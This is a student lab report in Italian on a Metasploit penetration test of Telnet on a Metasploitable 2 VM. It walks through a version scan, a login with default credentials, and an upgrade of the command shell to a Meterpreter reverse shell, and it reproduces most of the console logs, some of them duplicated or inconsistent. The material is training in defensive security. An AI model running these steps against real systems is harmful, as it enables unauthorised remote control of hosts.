

Relazione Tecnica di Laboratorio: Pratica S7/L2

1. Obiettivo dell'Esercitazione

L'obiettivo della prova pratica è analizzare ed effettuare un test di penetrazione sul servizio Telnet attivo su una macchina target vulnerabile (*Metasploitable 2*). L'attività si articola in quattro fasi principali:

1. Scansione del servizio Telnet e fingerprinting della versione.
2. Autenticazione tramite credenziali note e creazione di una sessione di comando.
3. Gestione e interazione con le sessioni attive su Metasploit.
4. Upgrade della sessione di comando (Command Shell) a una sessione avanzata **Meterpreter**.

2. Ambiente e Strumenti Utilizzati

- **Attaccante (Macchina Locale):** Kali Linux (IP: 192.168.10.11)
- **Target (Macchina Vittima):** Metasploitable 2 (IP: 192.168.50.101)
- **Framework:** Metasploit (*msfconsole*)

3. Descrizione delle Fasi e Comandi Eseguiti

Fase 1: Scansione del Servizio Telnet

In questa prima fase di ricognizione, è stato utilizzato un modulo di scansione ausiliario per identificare la versione precisa del servizio Telnet in ascolto sulla porta 23 della macchina target.

- **Modulo utilizzato:** *auxiliary/scanner/telnet/telnet_version*
- **Comandi eseguiti:**

```
use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.50.101
exploit
```

- **Esito:** La scansione ha confermato la presenza del servizio Telnet attivo sul target e ha estratto il banner informativo iniziale.

Fase 2: Autenticazione e Creazione della Sessione

Sfruttando le credenziali predefinite presenti sull'ambiente di test (**msfadmin:msfadmin**), è stato impiegato il modulo di login ausiliario per effettuare l'accesso remoto e aprire un canale di comunicazione diretto.

- **Modulo utilizzato:** **auxiliary/scanner/telnet/telnet_login**
- **Comandi eseguiti:**

```
Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow
msf auxiliary(scanner/telnet/telnet_login) > use 11
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[*] 192.168.50.101:23 - 192.168.50.101:23 - login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.10.11:41913 -> 192.168.50.101:23) at 2020-07-21 18:04:36 -0400
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > session -1
[*] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > session -1 1
[*] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > session 1
[*] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > sessions 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ bg
bg
-bash: bg: current: no such job
msfadmin@metasploitable:~$ ?
background session 1? (y/n) y
msf auxiliary(scanner/telnet/telnet_login) > |
```

use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.50.101
set USERNAME msfadmin
set PASSWORD msfadmin
set STOP_ON_SUCCESS true
exploit

- **Esito:** L'autenticazione è andata a buon fine. Metasploit ha generato automaticamente una prima **sessione di comando (Command Shell)**, identificata come **Session 1**.

Fase 3: Gestione delle Sessioni

In questa fase è stata verificata la presenza della sessione attiva ed è stata testata l'interazione diretta con il terminale remoto della macchina target.

- **Comandi eseguiti:**

```

Interact with a module by name or index. For example info 129, use 129 or use exploit/multi/http/vbulletin_replace_ad_template_rcv
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'

msf auxiliary(scanner/telnet/telnet_login) > use 101
msf post(multi/manage/shell_to_meterpreter) > run
[*] Post failed: Msf::OptionValidationError One or more options failed to validate: SESSION.
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session 101: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.10.11:4433
[*] Sending stage (1062768 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.10.11:4433 -> 192.168.50.101:39019) at 2026-07-21 10:09:00 -0400
[*] Command stage progress: 100.00% (773/772 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ---      -
HANDLER     true            yes       Start an exploit/multi/handler to receive the connection
LHOST       192.168.10.11   no        IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT       4433            yes       Port for payload to connect to.
SESSION     1               yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > sessions -i

Active sessions

  Id  Name  Type  Information
  ---  ---  ---  ---
  1    shell  TELNET msfadmin:msfadmin (192.168.50.101:23) 192.168.10.11:41913 -> 192.168.50.101:23 (192.168.50.101)
  2    meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.10.11:4433 -> 192.168.50.101:39019 (192.168.50.101)

msf post(multi/manage/shell_to_meterpreter) >

```

- Visualizzazione delle sessioni attive:

sessions -i

-
- Interazione con la sessione creata:

sessions -i 1

- Inserimento della sessione in background:
Pressione della combinazione di tasti **Ctrl + Z** e conferma con **y**.

- **Esito:** La sessione 1 è stata temporaneamente sospesa e messa in background per consentire l'esecuzione di moduli di post-exploitation.

Fase 4: Upgrade della Sessione a Meterpreter

Per superare i limiti di una normale shell di testo e ottenere funzionalità avanzate di analisi post-exploitation, è stato eseguito il modulo di conversione da Command Shell a Meterpreter.

- **Modulo utilizzato:** `post/multi/manage/shell_to_meterpreter`
- **Configurazione e comandi eseguiti:**

```
msf post(multi/manage/shell_to_meterpreter) > run
[*] Post failed: Msf::OptionValidatorError One or more options failed to validate: SESSION.
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.10.11:4433
[*] Sending stage (1062768 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.10.11:4433 -> 192.168.50.101:39019) at 2026-07-21 10:09:00 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):


| Name    | Current Setting | Required | Description                                                                             |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------|
| HANDLER | true            | yes      | Start an exploit/multi/handler to receive the connection                                |
| LHOST   | no              | no       | IP of host that will receive the connection from the payload (Will try to auto detect). |
| LPORT   | 4433            | yes      | Port for payload to connect to.                                                         |
| SESSION | 1               | yes      | The session to run this module on                                                       |


View the full module info with the info, or info -d command.
msf post(multi/manage/shell_to_meterpreter) > sessions -i
Active sessions


| ID | Name        | Type      | Information                           | Connection                                                  |
|----|-------------|-----------|---------------------------------------|-------------------------------------------------------------|
| 1  | shell       | TELNET    | msfadmin:msfadmin (192.168.50.101:23) | 192.168.10.11:4433 -> 192.168.50.101:23 (192.168.50.101)    |
| 2  | meterpreter | x86/linux | msfadmin @ metasploitable.localdomain | 192.168.10.11:4433 -> 192.168.50.101:39019 (192.168.50.101) |


msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.10.11:4433
[*] Sending stage (1062768 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.10.11:4433 -> 192.168.50.101:47509) at 2026-07-21 10:16:26 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) >
```

use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 192.168.10.11
run

- **Esito:** Il modulo ha iniettato lo stager Meterpreter sul sistema target, stabilendo una connessione reverse verso Kali Linux e creando con successo la **Sessione 2 (Meterpreter)**.

Fase 5: Interazione Avanzata con Meterpreter (Post-Exploitation)

Una volta stabilita la sessione 2, è stata avviata l'interazione diretta con il payload Meterpreter per raccogliere le informazioni essenziali sull'host e verificare il livello di accesso dell'utente compromesso.

- **Comandi eseguiti:**
 1. Accesso alla nuova sessione Meterpreter:
sessions -i 2
 2. Identificazione delle informazioni di sistema:
sysinfo

3. Fornisce dettagli sull'architettura del sistema operativo, sul nome dell'host e sul kernel della macchina target.
4. Verifica dell'identità e dei privilegi dell'utente attivo:

getuid

5. Mostra l'identificatore dell'utente con cui è in esecuzione il processo della shell (es. **msfadmin**).



```
Session Actions Edit View Help
[*] Meterpreter session 2 opened (192.168.10.11:4433 → 192.168.50.101:39019) at 2026-07-21 10:09:00 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
  Name      Current Setting  Required  Description
  ---      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     192.168.10.11    no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on

View the full module info with the info, or info -d command.
msf post(multi/manage/shell_to_meterpreter) > sessions -i
Active sessions
  --
  Id  Name  Type  Information  Connection
  --  --
  1    shell  TELNET msfadmin:msfadmin (192.168.50.101:23) 192.168.10.11:41913 → 192.168.50.101:23 (192.168.50.101)
  2    meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.10.11:4433 → 192.168.50.101:39019 (192.168.50.101)

msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.10.11
LHOST => 192.168.10.11
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.10.11:4433
[*] Sending stage (1062768 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.10.11:4433 → 192.168.50.101:47509) at 2026-07-21 10:16:26 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
Buildtuple    : i486-linux-musl
meterpreter > x86/linux
meterpreter > getuid
Server username: msfadmin
meterpreter >
```

4. Conclusioni

L'esercitazione ha dimostrato come un servizio obsoleto e non cifrato come Telnet, combinato con l'uso di credenziali di default, consenta a un attaccante di ottenere accesso completo al sistema. Inoltre, la procedura di upgrade a **Meterpreter** evidenzia l'efficacia degli strumenti di post-exploitation nel passare da un accesso limitato a un controllo avanzato dell'host compromesso.